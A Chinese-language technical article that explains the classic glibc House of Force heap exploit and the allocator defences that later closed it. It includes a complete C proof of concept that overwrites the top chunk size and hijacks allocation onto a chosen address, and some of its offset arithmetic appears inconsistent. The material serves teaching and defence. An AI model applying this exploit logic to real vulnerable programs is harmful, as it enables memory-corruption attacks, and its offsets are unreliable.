House of Force 经典堆利用技术复盘与现代分配器防御演进
堆利用史上的暴力美学:House of Force
在二进制漏洞利用与堆安全攻防的演进史中,“House of” 系列技术代表了对 glibc 堆内存管理内部机制的极致探索。其中,House of Force以其原理简洁、攻击路径直接且不受任何链表完整性校验(Safe Unlinking)阻碍的特点,成为早期堆溢出攻击中最具代表性的经典手法。
虽然随着 glibc 版本的迭代与现代安全加固机制的引入,House of Force 在现代 Linux 发行版中已被彻底防御,但深入复盘其利用整型回绕(Integer Wraparound)操纵堆指针的底层算术机理,并追踪分配器防御体系的演进过程,对于理解现代内存安全与防御工程具有极高的参考价值。
House of Force 的底层利用机理
[原始堆布局] ┌───────────────────────────┐ │ 用户堆块 (User Chunk) │ ├───────────────────────────┤ │ Top Chunk (正常 size) │ └───────────────────────────┘ │ ▼ 1. 堆溢出覆写 Top Chunk Size 为 0xFFFFFFFFFFFFFFFF ┌───────────────────────────┐ │ 用户堆块 (溢出破坏) │ ├───────────────────────────┤ │ Top Chunk (size = -1) │ ──┐ └───────────────────────────┘ │ │ 2. 申请超大内存 malloc(evil_size) │ 利用整型回绕计算:new_top = old_top + evil_size ▼ ┌───────────────────────────────────────────────────────────┐ │ 任意目标内存区域 (如 __malloc_hook / 全局函数指针表) │ <── new_top 成功被劫持于此 ├───────────────────────────────────────────────────────────┤ │ 3. 再次 malloc() 直接分配到目标地址,覆写为 system 地址 │ └───────────────────────────────────────────────────────────┘1. 核心脆弱点:Top Chunk 的无条件信任
在 glibc 2.28 及更早版本的_int_malloc实现中,当所有的 Fastbins、Small Bins 和 Unsorted Bin 都无法满足当前申请的大小时,分配器会直接从Top Chunk(堆顶未初始化的连续内存池)进行切割:
// glibc 历史源码逻辑简化 victim = av->top; size = chunksize(victim); if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); return chunk2mem(victim); }关键缺陷在于:早期的分配器从未校验size是否超出系统分配给主分配区的实际物理内存上限(system_mem),并且直接信任了保存在堆内存中的 Top Chunk 头部大小。
2. 算术回绕劫持 Top 指针
若攻击者能够通过前一个 Chunk 发生堆溢出,将 Top Chunk 的size字段覆写为最大无符号整数(64 位下为(size_t)-1即0xFFFFFFFFFFFFFFFF),那么任何大小的malloc申请都会被判定为“Top Chunk 空间充足”。
攻击者为了将av->top指针强行移动到目标地址target_addr(例如__malloc_hook前方):
$$\text{evil_size} = \text{target_addr} - \text{old_top_addr} - 4 \times \text{sizeof(size_t)}$$
在 64 位算术运算中,由于目标地址通常位于 libc 数据段(地址低于堆基址或高于堆基址),通过整型加法回绕(Integer Wraparound),av->top + evil_size会精准溢出回绕到target_addr所在位置。
经典利用原型 C 语言实现与算术演示
以下 C 语言代码演示了在未开启防御的历史编译环境下,House of Force 是如何通过两步malloc劫持任意全局变量的(为保证安全分析的可读性,代码内嵌了详细的地址算术打印):
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> // 模拟目标攻击靶标:任意可写内存变量 static char target_controlled_memory[64] = "ORIGINAL_SAFE_STRING"; int main() { printf("[+] House of Force 经典堆利用技术算术演练\n"); printf("[*] 目标受控内存地址: %p (当前值: %s)\n\n", target_controlled_memory, target_controlled_memory); // 1. 申请第一个堆块,获取初始堆布局 size_t *p1 = (size_t *)malloc(0x100); // Top Chunk 位于 p1 内存块紧随其后位置 // 在 64 位系统下,malloc(0x100) 实际分配 Chunk 大小为 0x110 (带头部 16 字节) size_t *top_chunk_size_ptr = p1 + (0x110 / sizeof(size_t)) + 1; void *old_top_ptr = (void *)(top_chunk_size_ptr - 1); printf("[*] 原始 Top Chunk 指针: %p, 原始 Size: 0x%zx\n", old_top_ptr, *top_chunk_size_ptr); // 2. 模拟堆溢出:将 Top Chunk 的 Size 覆写为 0xFFFFFFFFFFFFFFFF (-1) printf("[+] [EXPLOIT] 覆写 Top Chunk Size -> 0xFFFFFFFFFFFFFFFF\n"); *top_chunk_size_ptr = (size_t)-1; // 3. 计算跳转至目标地址所需的 evil_size // 注意:需扣除 Chunk 头部开销与对齐 (2 * sizeof(size_t)) size_t target_dest = (size_t)target_controlled_memory - (sizeof(size_t) * 2); size_t current_top = (size_t)top_chunk_size_ptr + sizeof(size_t); // 当前 top 数据区起始 size_t evil_size = target_dest - current_top - (sizeof(size_t) * 2); printf("[*] 计算出的 evil_size (整型回绕偏移): 0x%zx (%zd)\n", evil_size, (intptr_t)evil_size); // 4. 发起第一次恶意申请,将 Top Chunk 指针推移至目标地址 printf("[+] 发起 malloc(evil_size) 切割 Top Chunk...\n"); malloc(evil_size); // 5. 第二次申请:直接从被劫持的目标地址分配内存 printf("[+] 发起第二次 malloc(0x20),获取目标受控内存...\n"); char *hijacked_ptr = (char *)malloc(0x20); printf("[+] 成功获取指针: %p (预期目标: %p)\n", hijacked_ptr, target_controlled_memory); // 6. 覆写目标内存,完成任意写利用 strcpy(hijacked_ptr, "PWNED_BY_HOUSE_OF_FORCE"); printf("[*] 验证目标内存当前值: %s\n", target_controlled_memory); return 0; }现代分配器的防御演进
面对 House of Force 及其衍生攻击,现代内存管理架构从多个层面构筑了铜墙铁壁:
1. Top Chunk Size 合法性校验 (glibc 2.29+)
在 glibc 2.29 中,GNU 维护者在_int_malloc中正式引入了对 Top Chunk 大小的完整性断言:
if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size");当分配器发现 Top Chunk 的大小超过了当前分配区向操作系统申请的实际物理内存总额(av->system_mem)时,立即触发异常并中止进程(Abort),从根本上终结了覆写size = -1的利用路径。
2. 全局 Hook 指针的彻底废弃 (glibc 2.34+)
在早期的堆利用中,攻击者的终极目标通常是覆写__malloc_hook、__free_hook或__realloc_hook等函数指针。glibc 2.34 正式移除了这些全局 Hooks,消除了最直接的控制流劫持跳板。
3. 加固型内存分配器(Hardened Allocators)的兴起
在 Android(Scudo 分配器)与高安全环境(Hardened Malloc)中:
- 元数据分离(Out-of-Line Metadata):Chunk 头部的大小与状态信息不再内联保存在用户数据缓冲区的前后,而是存储在独立的只读或随机化隔离内存页中,堆溢出无法触及元数据。
- 保护页(Guard Pages)与随机隔离区(Quarantine):在堆块之间随机插入不可读写的内存页,任何越界读写立即触发硬件 MMU 异常。